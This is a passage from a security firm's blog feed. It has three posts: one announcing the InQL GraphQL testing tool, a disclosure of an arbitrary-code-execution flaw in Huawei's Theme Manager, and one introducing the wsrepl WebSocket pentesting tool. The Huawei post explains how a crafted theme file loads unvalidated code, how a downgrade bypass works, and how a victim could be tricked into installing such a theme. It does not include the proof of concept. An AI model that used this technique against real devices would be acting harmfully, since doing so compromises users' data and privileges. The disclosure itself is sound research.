<li><a href="#the-future-of-inql-and-graphql-security" id="markdown-toc-the-future-of-inql-and-graphql-security">The Future of InQL and GraphQL Security</a></li>
<li><a href="#inql-a-great-project-for-students-and-contributors" id="markdown-toc-inql-a-great-project-for-students-and-contributors">InQL: A Great Project for Students and Contributors</a></li>
<li><a href="#conclusion" id="markdown-toc-conclusion">Conclusion</a></li>
</ul>
<p>
<center><img src="../../../public/images/inql.png" alt="InQL v5.0" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 300px;" /></center>
</p>
<h1 id="introduction">Introduction</h1>
<p>The cybersecurity landscape is in a state of constant flux. As GraphQL adoption
surges, the demand for an adaptable, resilient testing tool has become
paramount. As leaders in GraphQL security, Doyensec is proud to reveal the most
recent iteration of our open-source testing tool - <a href="https://github.com/doyensec/inql/releases">InQL v5.x</a>. This isn’t merely
an update; it’s a comprehensive revamp designed to augment your GraphQL testing
abilities.</p>
<h1 id="the-journey-so-far-from-jython-to-kotlin">The Journey So Far: From Jython to Kotlin</h1>
<p>Our journey with InQL started on the Jython platform. However, as time went by,
we began to experience the limitations of Jython - chiefly, its lack of support
for Python 3, which made it increasingly difficult to find compatible tooling
and libraries. It was clear a transition was needed. After careful
consideration, we chose Kotlin. Not only is it compatible with Java (which Burp
is written in), but it also offers robustness, flexibility, and a thriving
developer community.</p>
<h2 id="the-challenges-of-converting-a-burp-extension-into-kotlin">The Challenges of Converting a Burp Extension Into Kotlin</h2>
<p>We opted to include the entire Jython runtime (over 40 MB) within the Kotlin
extension to overcome the challenges of reusing the existing Jython code.
Although it wasn’t the ideal solution, this approach allowed us to launch the
extension as Kotlin, initiate the Jython interpreter, and delegate execution to
the older Jython code.</p>
<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">BurpExtender</span><span class="p">:</span> <span class="nc">IBurpExtender</span><span class="p">,</span> <span class="nc">IExtensionStateListener</span><span class="p">,</span> <span class="nc">BurpExtension</span> <span class="p">{</span>
<span class="k">private</span> <span class="kd">var</span> <span class="py">legacyApi</span><span class="p">:</span> <span class="nc">IBurpExtenderCallbacks</span><span class="p">?</span> <span class="p">=</span> <span class="k">null</span>
<span class="k">private</span> <span class="kd">var</span> <span class="py">montoya</span><span class="p">:</span> <span class="nc">MontoyaApi</span><span class="p">?</span> <span class="p">=</span> <span class="k">null</span>
<span class="k">private</span> <span class="kd">var</span> <span class="py">jython</span><span class="p">:</span> <span class="nc">PythonInterpreter</span><span class="p">?</span> <span class="p">=</span> <span class="k">null</span>
<span class="k">private</span> <span class="kd">var</span> <span class="py">pythonPlugin</span><span class="p">:</span> <span class="nc">PyObject</span><span class="p">?</span> <span class="p">=</span> <span class="k">null</span>
<span class="c1">// Legacy API gets instantiated first</span>
<span class="k">override</span> <span class="k">fun</span> <span class="nf">registerExtenderCallbacks</span><span class="p">(</span><span class="n">callbacks</span><span class="p">:</span> <span class="nc">IBurpExtenderCallbacks</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Save legacy API for the functionality that still relies on it</span>
<span class="n">legacyApi</span> <span class="p">=</span> <span class="n">callbacks</span>
<span class="c1">// Start embedded Python interpreter session (Jython)</span>
<span class="n">jython</span> <span class="p">=</span> <span class="nc">PythonInterpreter</span><span class="p">()</span>
<span class="p">}</span>
<span class="c1">// Montoya API gets instantiated second</span>
<span class="k">override</span> <span class="k">fun</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">montoyaApi</span><span class="p">:</span> <span class="nc">MontoyaApi</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// The new Montoya API should be used for all of the new functionality in InQL</span>
<span class="n">montoya</span> <span class="p">=</span> <span class="n">montoyaApi</span>
<span class="c1">// Set the name of the extension</span>
<span class="n">montoya</span><span class="o">!!</span><span class="p">.</span><span class="nf">extension</span><span class="p">().</span><span class="nf">setName</span><span class="p">(</span><span class="s">"InQL"</span><span class="p">)</span>
<span class="c1">// Instantiate the legacy Python plugin</span>
<span class="n">pythonPlugin</span> <span class="p">=</span> <span class="nf">legacyPythonPlugin</span><span class="p">()</span>
<span class="c1">// Pass execution to legacy Python code</span>
<span class="n">pythonPlugin</span><span class="o">!!</span><span class="p">.</span><span class="nf">invoke</span><span class="p">(</span><span class="s">"registerExtenderCallbacks"</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">private</span> <span class="k">fun</span> <span class="nf">legacyPythonPlugin</span><span class="p">():</span> <span class="nc">PyObject</span> <span class="p">{</span>
<span class="c1">// Make sure UTF-8 is used by default</span>
<span class="n">jython</span><span class="o">!!</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="s">"import sys; reload(sys); sys.setdefaultencoding('UTF8')"</span><span class="p">)</span>
<span class="c1">// Pass callbacks received from Burp to Python plugin as a global variable</span>
<span class="n">jython</span><span class="o">!!</span><span class="p">.</span><span class="k">set</span><span class="p">(</span><span class="s">"callbacks"</span><span class="p">,</span> <span class="n">legacyApi</span><span class="p">)</span>
<span class="n">jython</span><span class="o">!!</span><span class="p">.</span><span class="k">set</span><span class="p">(</span><span class="s">"montoya"</span><span class="p">,</span> <span class="n">montoya</span><span class="p">)</span>
<span class="c1">// Instantiate legacy Python plugin</span>
<span class="n">jython</span><span class="o">!!</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="s">"from inql.extender import BurpExtenderPython"</span><span class="p">)</span>
<span class="kd">val</span> <span class="py">legacyPlugin</span><span class="p">:</span> <span class="nc">PyObject</span> <span class="p">=</span> <span class="n">jython</span><span class="o">!!</span><span class="p">.</span><span class="nf">eval</span><span class="p">(</span><span class="s">"BurpExtenderPython(callbacks, montoya)"</span><span class="p">)</span>
<span class="c1">// Delete global after it has been consumed</span>
<span class="n">jython</span><span class="o">!!</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="s">"del callbacks, montoya"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">legacyPlugin</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="sidestepping-the-need-for-stickytape">Sidestepping the need for stickytape</h2>
<p>Our switch to Kotlin also solved another problem. Jython extensions in Burp
Suite are typically a single <code class="language-plaintext highlighter-rouge">.py</code> file, but the complexity of InQL necessitates a
multi-file layout. Previously, we used the
<a href="https://github.com/mwilliamson/stickytape">stickytape</a> library to compress the
Python code into a single file. However, stickytape introduced subtle bugs and
inhibited access to static files. By making InQL a Kotlin extension, we can now
bundle all files into a JAR and access them correctly.</p>
<h1 id="introducing-gqlspection-the-core-of-inql-v5x">Introducing GQLSpection: The Core of InQL v5.x</h1>
<p>A significant milestone in our transition journey involved refactoring the core
portion of InQL that handles GraphQL schema parsing. The result is
<a href="https://github.com/doyensec/gqlspection">GQLSpection</a> - a standalone library
compatible with Python 2/3 and Jython, featuring a convenient CLI interface.
We’ve included all GraphQL code examples from the GraphQL specification in our
test cases, ensuring comprehensive coverage.</p>
<p>As an added advantage, it also replaces the standalone and CLI modes of the
previous InQL version, which were removed to streamline our code base.</p>
<p>
<center><img src="../../../public/images/inql_v5_gqlspection.png" alt="GQLSpection" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<h1 id="new-features">New Features</h1>
<p>Our clients rely heavily on cutting-edge technologies. As such, we frequently
have the opportunity to engage with real-world GraphQL deployments in many of our
projects. This rich exposure has allowed us to understand the challenges
InQL users face and the requirements they have, enabling us to decide which
features to implement. In response to these insights, we’ve introduced several
significant features in InQL v5.0 to support more effective and efficient audits
and investigations.</p>
<h2 id="points-of-interest">Points of Interest</h2>
<p>One standout feature in this version is ‘Points of Interest’. Powered by
GQLSpection and with the initial implementation contributed by
<a href="https://github.com/doyensec/inql/pull/82">@schoobydrew</a>, this is essentially a
keyword scan equipped with several customizable presets.</p>
<p>
<center><img src="../../../public/images/inql_v5_poi_settings.png" alt="Points of Interest settings" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>The Points of Interest scan proves exceptionally useful when analyzing extensive
schemas with over 50 queries/mutations and thousands of fields. It produces
reports in both human-readable text and JSON format, providing a high-level
overview of the vast schemas often found in modern apps, and aiding pentesters
in swiftly identifying sensitive data or dangerous functionality within the
schema.</p>
<p>
<center><img src="../../../public/images/inql_v5_poi.png" alt="Points of Interest results" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 650px;" /></center>
</p>
<h2 id="improved-logging">Improved Logging</h2>
<p>One of my frustrations with earlier versions of the tool was the lack of useful error
messages when the parser broke on real-world schemas. So, I introduced
configurable logging. This, coupled with the fact that parsing functionality is
now handled by GQLSpection, has made InQL v5.0 much more reliable and user-friendly.</p>
<h2 id="in-line-annotations">In-line Annotations</h2>
<p>Another important addition to InQL are the annotations. Prior to this, InQL only
generated the bare minimum query, necessitating the use of other tools to deduce
the correct input format, expected values, etc. However, with the addition of
inline comments populated with content from ‘description’ fields from the
GraphQL schema or type annotations, InQL v5.0 has become much more of a
standalone tool.</p>
<p>
<center><img src="../../../public/images/inql_v5_annotations.png" alt="Annotations" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 650px;" /></center>
</p>
<p>There is a trade-off here: while the extensive annotations make InQL more
usable, they can sometimes make it hard to comprehend and navigate. We’re
looking at solutions for future releases to dynamically limit the display of
annotations.</p>
<h1 id="the-future-of-inql-and-graphql-security">The Future of InQL and GraphQL Security</h1>
<p>Our roadmap for InQL is ambitious. Having said that, we are committed to
reintroduce features like GraphiQL and Circular Relationship Detection, achieving full feature
parity with v4.</p>
<p>As GraphQL continues to grow, ensuring robust security is crucial. InQL’s future
involves addressing niche GraphQL features that are often overlooked and
improving upon existing pentesting tools. We look forward to sharing more
developments with the community.</p>
<h1 id="inql-a-great-project-for-students-and-contributors">InQL: A Great Project for Students and Contributors</h1>
<p>InQL is not just a tool, it’s a project – a project that invites the
contributions of those who are passionate about cybersecurity. <strong>We’re actively
seeking students and developers</strong> who would like to contribute to InQL or do
GraphQL-adjacent security research. This is an opportunity to work with experts
in GraphQL security, and play a part in shaping the future of InQL.</p>
<p>
<center><img src="../../../public/images/inql_v5_love.png" alt="DoyensecInQL" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 350px;" /></center>
</p>
<h1 id="conclusion">Conclusion</h1>
<p>InQL v5.x is the result of relentless work and an unwavering commitment to
enhancing GraphQL security. We urge all pentesters, bug hunters, and
cybersecurity enthusiasts working with GraphQL to try out this new release. If
you’ve tried InQL in the past and are looking forward to enhancements, v5.0 will
not disappoint.</p>
<p><strong>At Doyensec, we’re not just developing a tool, we’re pushing the boundaries of
what’s possible in GraphQL security.</strong> We invite you to join us on this
journey, whether as a user, contributor, or intern.</p>
<p>Happy Hacking!</p>
Huawei Theme Manager Arbitrary Code Execution2023-07-26T00:00:00+02:00https://blog.doyensec.com/2023/07/26/huawei-theme-arbitrary-code-exec<p>Back in 2019, we were lucky enough to take part in the newly-launched <a href="https://techcrunch.com/2019/11/05/huawei-secret-bug-bounty-meeting/">Huawei mobile bug bounty</a>. For that, we decided to research <a href="https://consumer.huawei.com/en/mobileservices/themes/">Huawei’s Themes</a>.</p>
<p>The Themes Manager allows custom themes on EMUI devices to stylize preferences, and the customization of lock screens, wallpapers and icons. Processes capable of making these types of system-wide changes need to have elevated privileges, making them valuable targets for research as well as exploitation.</p>
<h3 id="background">Background</h3>
<p>When it comes to implementing a lockscreen on EMUI, there were three possible engines used:</p>
<ul>
<li><em>com.ibimuyu.lockscreen</em></li>
<li><em>com.vlife.huawei.emuilock</em></li>
<li><em>com.huawei.ucdlockscreen</em></li>
</ul>
<p>When installing a theme, the <code class="language-plaintext highlighter-rouge">SystemUI.apk</code> verifies the signature of the application attempting to make these changes against a hardcoded list of trusted ones. From what we observed, this process seems to have been implemented properly, with no clear way to bypass the signature checks.</p>
<p>That said, we discovered that when <code class="language-plaintext highlighter-rouge">com.huawei.ucdlockscreen</code> was used, it loaded additional classes at runtime. The signatures of these classes were not validated properly, nor were they even checked. This presented an opportunity for us to introduce our own code.</p>
<p>Taking a look at the structure of the theme archive files (<code class="language-plaintext highlighter-rouge">.hwt</code>), we see that the unlock screen elements are packaged as follows:</p>
<p>
<center><img src="../../../public/images/huawei_image_01.png" alt="Archive Structure" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<p>Looking in the unlock directory, we saw the <code class="language-plaintext highlighter-rouge">theme.xml</code> file, which is a manifest specifying several properties. These settings included the dynamic unlock engine to use (<code class="language-plaintext highlighter-rouge">ucdscreenlock</code> in our case) and an <code class="language-plaintext highlighter-rouge">ext.properties</code> file, which allows for dynamic Java code loading from within the theme file.</p>
<p>Let’s look at the file content:</p>
<p>
<center><img src="../../../public/images/huawei_image_02.png" alt="Archive Structure" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 300px;" /></center>
</p>
<p>This instructs the dynamic engine (<code class="language-plaintext highlighter-rouge">com.huawei.ucdlockscreen</code>) to load <code class="language-plaintext highlighter-rouge">com.huawei.nova.ExtensionJarImpl</code> at runtime from the <code class="language-plaintext highlighter-rouge">NOVA6</code>LockScreen<code class="language-plaintext highlighter-rouge">2019120501.apk</code>. Since this class is not validated, we can introduce our own code to achieve <ins>arbitrary code execution</ins>. What makes this even more interesting is that our code will run within a process of a highly privileged application (<code class="language-plaintext highlighter-rouge">com.huawei.android.thememanager</code>), as shown below.</p>
<p>
<center><img src="../../../public/images/huawei_image_03.png" alt="Privileged Application List" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 600px;" /></center>
</p>
<p>Utilizing the logcat utility, we can see the dynamic loading process:</p>
<p>
<center><img src="../../../public/images/huawei_image_04.png" alt="Process Logs" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 600px;" /></center>
</p>
<p>This vulnerability was confirmed via direct testing on EMUI 9.1 and 10, but appears to impact the current version of EMUI with <a href="#exploitability">some limitations*</a>.</p>
<p>
<center><img src="../../../public/images/huawei_image_05.png" alt="Theme in foreground with logcat in back" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<h3 id="impact">Impact</h3>
<p>As previously mentioned, this results in <strong>arbitrary code execution</strong> using the PID of a highly privileged application. In our testing, exploitation resulted in obtaining around 200 Android and Huawei custom permissions. Among those were the permissions listed below which could result in total compromise of the device’s user data, sensitive system data, any credentials entered into the system and the integrity of the system’s environment.</p>
<p>
<center><img src="../../../public/images/huawei_image_06.png" alt="Permissions List" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<p>Considering that the application can send intents requiring the <code class="language-plaintext highlighter-rouge">huawei.android.permission.HW_SIGNATURE_OR_SYSTEM</code> permission, we believe it is possible to leverage existing system functionalities to obtain system level code execution. Once achieved, this vulnerability has great potential as part of a rooting chain.</p>
<h3 id="exploitability">Exploitability</h3>
<p>This issue can be reliably exploited with no technical impediments. That said, exploitation requires installing a custom theme. To accomplish this remotely, user interaction is required. We can conceive of several plausible social engineering scenarios which could be effective or perhaps use a second vulnerability to force the download and installation of themes.
Firstly, it is possible to gift themes to other users, so a compromised trusted contact could be leveraged (or spoofed) to convince a victim to accept and install the malicious theme.
As an example, the following URL will open the theme gift page: <code class="language-plaintext highlighter-rouge">hwt://www.huawei.com/themes?type=33&id=0&from=AAAA&channelId=BBB</code></p>
<p>
<center><img src="../../../public/images/huawei_image_07.png" alt="Theme gifting attack flow" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<p>Secondly, an attacker could publish a link or QR code pointing to the malicious theme online, then convince a victim into triggering the <code class="language-plaintext highlighter-rouge">HwThemeManager</code> application via a deep link using the <code class="language-plaintext highlighter-rouge">hwt://</code> scheme.</p>
<p>To be fair, we must acknowledge that Huawei has a review process in place for new themes and wallpapers, which might limit the use of live themes exploiting this vulnerability.</p>
<h3 id="partial-fix">Partial fix</h3>
<p>Huawei released an update for HwThemeManager on February 24, 2022 (internally tracked as HWPSIRT-2019-12158) stating this was resolved. Despite this, we believe the issue was actually resolved in <code class="language-plaintext highlighter-rouge">ucdlockscreen.apk</code> (<code class="language-plaintext highlighter-rouge">com.huawei.ucdlockscreen</code> version 3 and later).</p>
<p>This is an important distinction, because the latest version of the <code class="language-plaintext highlighter-rouge">ucdlockscreen.apk</code> is installed at runtime by HwThemeManager, after applying a theme that requires such an engine. Even on a stock phone (both EMUI 9,10 and latest 12.0.0.149), an attacker with physical access can uninstall the latest version and install the old vulnerable version since it is properly signed by Huawei.</p>
<p>Without further mitigations from Huawei, an attacker with physical access to the device can still leverage this vulnerability to gain system privileged access on even the latest devices.</p>
<h3 id="further-discovery">Further discovery</h3>
<p>After a few hours of reverse engineering the fix introduced in the latest version of <code class="language-plaintext highlighter-rouge">com.huawei.ucdlockscreen</code> (version 4.6), we discovered an additional bypass impacting the EMUI 9.1 release. This issue doesn’t require physical access and can again trigger the same exploitable condition.</p>
<p>During theme loading, the latest version of <code class="language-plaintext highlighter-rouge">com.huawei.ucdlockscreen </code>checks for the presence of a <code class="language-plaintext highlighter-rouge">/data/themes/0/unlock/ucdscreenlock/error</code> file. Since all of the files within <code class="language-plaintext highlighter-rouge">/data/themes/0/</code> are copied from the provided theme (<code class="language-plaintext highlighter-rouge">.hwt</code>) file they can all be attacker-controlled.</p>
<p>This file is used to check the specific version of the theme. An attacker can simply embed an error file referencing an older version, forcing legacy theme support. When doing so, an attacker would also specify a fictitious package name in the <code class="language-plaintext highlighter-rouge">ext.properties</code> file. This combination of changes in the malicious <code class="language-plaintext highlighter-rouge">.hwt</code> file bypasses all the required checks - making the issue exploitable again on the latest EMUI9.1, with no physical access required. At the time of our investigation, the other EMUI major versions appear to implement signature validation mechanisms to mitigate this.</p>
<h3 id="disclosure">Disclosure</h3>
<p>This issue was disclosed on Dec 31, 2019 according to the terms of the Huawei Mobile Bug Bounty, and it was addressed by Huawei as described above. Additional research results were reported to Huawei on Sep 1, 2021. Given the time that has elapsed from the original fix and the fact that we believe the issue is no longer <ins>remotely</ins> exploitable, we have decided to release the details of the vulnerability.</p>
<p>At the time of writing this post (April 28th, 2023), the issue is still exploitable locally on the latest EMUI (12.0.0.149) by force-loading the vulnerable <code class="language-plaintext highlighter-rouge">ucdlockscreen.apk</code>. We have decided not to release the vulnerable version of <code class="language-plaintext highlighter-rouge">ucdlockscreen.apk</code> as well as the malicious theme proof-of-concept. While the issue is no longer interesting to attackers, it can still benefit the rooting community and facilitate the work of security researchers in identifying issues within Huawei’s EMUI-based devices.</p>
<h3 id="conclusions">Conclusions</h3>
<p>While the vulnerability is technically interesting by itself, there are two security engineering learning lessons here. The biggest takeaway is clearly that while relying on signature validation for authenticating software components can be an effective security measure, it must be thoroughly extended to include any dynamically loaded code. That said, it appears Huawei no longer provides bootloader unlock options (see <a href="https://consumer.huawei.com/en/community/details/Huawei-s-decision-to-cease-providing-bootloader-unlocking-codes/topicId_41529/">here</a>) making rooting more complicated and expensive. It remains to be seen if this bug is ever used as part of a chain developed by the rooting community.</p>
<p>A secondary engineering lesson is to ensure that when we design backwards compatibility mechanisms, we should assume that there may be older versions that we want to abandon.</p>
<p>This research was made possible by the <strong>Huawei Mobile Phone Bug Bounty Program</strong>. We want to thank the Huawei PSIRT for their help in handling this issue, the generous bounty and the openness to disclose the details.</p>
Streamlining Websocket Pentesting with wsrepl2023-07-18T00:00:00+02:00https://blog.doyensec.com/2023/07/18/streamlining-websocket-pentesting-with-wsrepl<p>In an era defined by instant gratification, where life zips by quicker than a teenager’s TikTok scroll, WebSockets have evolved into the heartbeat of web applications. They’re the unsung heroes in data streaming and bilateral communication, serving up everything in real-time, because apparently, waiting is so last century.</p>
<p>However, when tasked with pentesting these WebSockets, it feels like you’re juggling flaming torches on a unicycle, atop a tightrope! Existing tools, while proficient in their specific realms, are much like mismatched puzzle pieces – they don’t quite fit together, leaving you to bridge the gaps. Consequently, you find yourself shifting from one tool to another, trying to manage them simultaneously and wishing for a more streamlined approach.</p>
<p>That’s where <a href="https://github.com/doyensec/wsrepl">https://github.com/doyensec/wsrepl</a> comes to the rescue. This tool, the latest addition to Doyensec’s security tools, is designed to simplify auditing of websocket-based apps. <code class="language-plaintext highlighter-rouge">wsrepl</code> strikes a much needed balance by offering an interactive REPL interface that’s user-friendly, while also being conveniently easy to automate. With <code class="language-plaintext highlighter-rouge">wsrepl</code>, we aim to turn the tide in websocket pentesting, providing a tool that is as efficient as it is intuitive.</p>
<h2 id="the-doyensec-challenge">The Doyensec Challenge</h2>
<p>Once upon a time, we took up an engagement with a client whose web application relied heavily on WebSockets for soft real-time communication. This wasn’t an easy feat. The client had a robust bug bounty policy and had undergone multiple pentests before. Hence, we were fully aware that the lowest hanging fruits were probably plucked. Nevertheless, as true Doyensec warriors (‘doyen’ - a term Merriam-Webster describes as ‘a person considered to be knowledgeable or uniquely skilled as a result of long experience in some field of endeavor’), we were prepared to dig deeper for potential vulnerabilities.</p>
<p>Our primary obstacle was the application’s custom protocol for data streaming. Conventional wisdom among pentesters suggests that the most challenging targets are often the ones most overlooked. Intriguing, isn’t it?</p>
<h2 id="the-quest-for-the-perfect-tool">The Quest for the Perfect Tool</h2>
<p>The immediate go-to tool for pentesting WebSockets would typically be <a href="https://portswigger.net/burp">Burp Suite</a>. While it’s a heavyweight in web pentesting, we found its implementation of WebSockets mirrored HTTP requests a little bit too closely, which didn’t sit well with near-realtime communications.</p>
<p>Sure, it does provide a neat way to get an interactive WS session, but it’s a bit tedious - navigating through ‘Upgrade: websocket’, hopping between ‘Repeater’, ‘Websocket’, ‘New WebSocket’, filling in details, and altering <code class="language-plaintext highlighter-rouge">HTTP/2</code> to <code class="language-plaintext highlighter-rouge">HTTP/1.1</code>. The result is a decent REPL but the process? Not so much.</p>
<p>
<center><img src="../../../public/images/websockets-in-burp-are-pain.png" alt="Initiating a new websocket in Burp" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 100%;" /></center>
</p>
<p>Don’t get me wrong, Burp does have its advantages. Pentesters already have it open most times, it highlights JSON or XML, and integrates well with existing extensions. Despite that, it falls short when you have to automate custom authentication schemes, protocols, connection tracking, or data serialization schemes.</p>
<p>Other tools, like <a href="https://websocketking.com">websocketking.com</a> and <a href="https://hoppscotch.io/realtime/websocket">hoppscotch.io/realtime/websocket</a>, offer easy-to-use and aesthetically pleasing graphical clients within the browser. However, they lack comprehensive options for automation. Tools like <a href="https://github.com/VDA-Labs/websocket-harness">websocket-harness</a> and <a href="https://github.com/nccgroup/wssip">WSSiP</a> bridge the gap between HTTP and WebSockets, which can be useful, but again, they don’t offer an interactive REPL for manual inspection of traffic.</p>
<p>Finally, we landed on websocat, a netcat inspired command line WebSockets client that comes closest to what we had in mind. While it does offer a host of features, it’s predominantly geared towards debugging WebSocket servers, not pentesting.</p>
<h2 id="wsrepl-the-websockets-pentesting-hero"><code class="language-plaintext highlighter-rouge">wsrepl</code>: The WebSockets Pentesting Hero</h2>
<p>Enter <a href="https://github.com/doyensec/wsrepl">wsrepl</a>, born out of necessity as our answer to the challenges we faced. It is not just another pentesting tool, but an agile solution that sits comfortably in the middle - offering an interactive REPL experience while also providing simple and convenient path to automation.</p>
<p>Built with Python’s fantastic TUI framework <a href="https://textual.textualize.io/">Textual</a>, it enables an accessible experience that is easy to navigate both by mouse and keyboard. That’s just scratching the surface though. Its interoperability with curl’s arguments enables a fluid transition from the Upgrade request in Burp to <code class="language-plaintext highlighter-rouge">wsrepl</code>. All it takes is to copy a request through ‘Copy as curl command’ menu option and replace <code class="language-plaintext highlighter-rouge">curl</code> with <code class="language-plaintext highlighter-rouge">wsrepl</code>.</p>
<p>
<center><img src="../../../public/images/burp-to-wsrepl.png" alt="Initiating a new WebSocket in wsrepl" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 100%;" /></center>
</p>
<p>On the surface, <code class="language-plaintext highlighter-rouge">wsrepl</code> is just like any other tool, showing incoming and outgoing traffic with the added option of sending new messages. The real magic however, is in the details. It leaves nothing to guesswork. Every hexadecimal opcode is shown as per <a href="https://datatracker.ietf.org/doc/html/rfc6455">RFC 6455</a>, a feature that could potentially save you from many unnecessary debugging hours.</p>
<h2 id="a-lesson-learned">A lesson learned</h2>
<p>Here’s an anecdote to illustrate this point. At the beginning of our engagement with WebSockets, I wasn’t thoroughly familiar with the WebSocket RFC and built my understanding based on what Burp showed me. However, Burp was only displaying text messages, obscuring message opcodes and autonomously handling pings without revealing them in the UI. This partial visibility led to some misconceptions about how WebSockets operate. The developers of the service we were testing seemingly had the same misunderstanding, as they implemented ping traffic using <code class="language-plaintext highlighter-rouge">0x1</code> - text type messages. This caused confusion and wasted time when my scripts kept losing the connection, even though the traffic appeared to align with my Burp observations.</p>
<p>To avoid similar pitfalls, <code class="language-plaintext highlighter-rouge">wsrepl</code> is designed to give you the whole picture, without any hidden corners. Here’s a quick rundown of WebSocket opcodes defined in <a href="https://datatracker.ietf.org/doc/html/rfc6455#section-5.2">RFC6544</a> that you can expect to see in <code class="language-plaintext highlighter-rouge">wsrepl</code>:</p>
<table>
<thead>
<tr>
<th>Opcode</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0</td>
<td>Continuation Frame</td>
</tr>
<tr>
<td>0x1</td>
<td>Text Frame</td>
</tr>
<tr>
<td>0x2</td>
<td>Binary Frame</td>
</tr>
<tr>
<td>0x8</td>
<td>Connection Close</td>
</tr>
<tr>
<td>0x9</td>
<td>Ping</td>
</tr>
<tr>
<td>0xA</td>
<td>Pong (must carry the same payload as the corresponding Ping frame)</td>
</tr>
</tbody>
</table>
<p>Contrary to most WebSocket protocols that mainly use <code class="language-plaintext highlighter-rouge">0x1</code> type messages, <code class="language-plaintext highlighter-rouge">wsrepl</code> accompanies all messages with their opcodes, ensuring full transparency. We’ve intentionally made the decision not to conceal ping traffic by default, although you have the choice to hide them using the <code class="language-plaintext highlighter-rouge">--hide-ping-pong</code> option.</p>
<p>Additionally, <code class="language-plaintext highlighter-rouge">wsrepl</code> introduces the unique capability of sending <em>‘fake’</em> ping messages, that use the <code class="language-plaintext highlighter-rouge">0x1</code> message frame. Payloads can be defined with options <code class="language-plaintext highlighter-rouge">--ping-0x1-payload</code> and <code class="language-plaintext highlighter-rouge">--pong-0x1-payload</code>, and the interval controlled by <code class="language-plaintext highlighter-rouge">--ping-0x1-interval</code>. It also supports client-induced ping messages (protocol level, <code class="language-plaintext highlighter-rouge">0x9</code>), even though typically this is done by the server: <code class="language-plaintext highlighter-rouge">--ping-interval</code>.</p>
<p>It’s also noteworth that <code class="language-plaintext highlighter-rouge">wsrepl</code> incorporates an automatic reconnection feature in case of disconnects. Coupled with granular ping control, these features empower you to initiate long-lasting and stable WebSocket connections, which have proven useful for executing certain attacks.</p>
<h2 id="automation-made-simple-with-wsrepl">Automation Made Simple with <code class="language-plaintext highlighter-rouge">wsrepl</code></h2>
<p>Moreover, <code class="language-plaintext highlighter-rouge">wsrepl</code> is crafted with a primary goal in mind: enabling you to quickly transition into WebSocket automation. To do this, you just need to write a Python plugin, which is pretty straightforward and, unlike Burp, feels quintessentially <em>pythonic</em>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">wsrepl</span> <span class="kn">import</span> <span class="n">Plugin</span>
<span class="n">MESSAGES</span> <span class="o">=</span> <span class="p">[</span>
<span class="s">"hello"</span><span class="p">,</span>
<span class="s">"world"</span>
<span class="p">]</span>
<span class="k">class</span> <span class="nc">Demo</span><span class="p">(</span><span class="n">Plugin</span><span class="p">):</span>
<span class="s">"""Demo plugin that sends a static list of messages to the server."""</span>
<span class="k">def</span> <span class="nf">init</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">messages</span> <span class="o">=</span> <span class="n">MESSAGES</span>
</code></pre></div></div>
<p>It’s Python, so really, the sky’s the limit. For instance, here is how to send a HTTP request to acquire the auth token, and then use it to authenticate with the WebSocket server:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">wsrepl</span> <span class="kn">import</span> <span class="n">Plugin</span>
<span class="kn">from</span> <span class="nn">wsrepl.WSMessage</span> <span class="kn">import</span> <span class="n">WSMessage</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="k">class</span> <span class="nc">Demo</span><span class="p">(</span><span class="n">Plugin</span><span class="p">):</span>
<span class="s">"""Demo plugin that dynamically acquires authentication token."""</span>
<span class="k">def</span> <span class="nf">init</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="c1"># Here we simulate an API request to get a session token by supplying a username and password.
</span> <span class="c1"># For the demo, we're using a dummy endpoint "https://hb.cran.dev/uuid" that returns a UUID.
</span> <span class="c1"># In a real-life scenario, replace this with your own authentication endpoint and provide necessary credentials.
</span> <span class="n">token</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"https://hb.cran.dev/uuid"</span><span class="p">).</span><span class="n">json</span><span class="p">()[</span><span class="s">"uuid"</span><span class="p">]</span>
<span class="c1"># The acquired session token is then used to populate self.messages with an authentication message.
</span> <span class="c1"># The exact format of this message will depend on your WebSocket server requirements.
</span> <span class="bp">self</span><span class="p">.</span><span class="n">messages</span> <span class="o">=</span> <span class="p">[</span>
<span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">({</span>
<span class="s">"auth"</span><span class="p">:</span> <span class="s">"session"</span><span class="p">,</span>
<span class="s">"sessionId"</span><span class="p">:</span> <span class="n">token</span>
<span class="p">})</span>
<span class="p">]</span>
</code></pre></div></div>
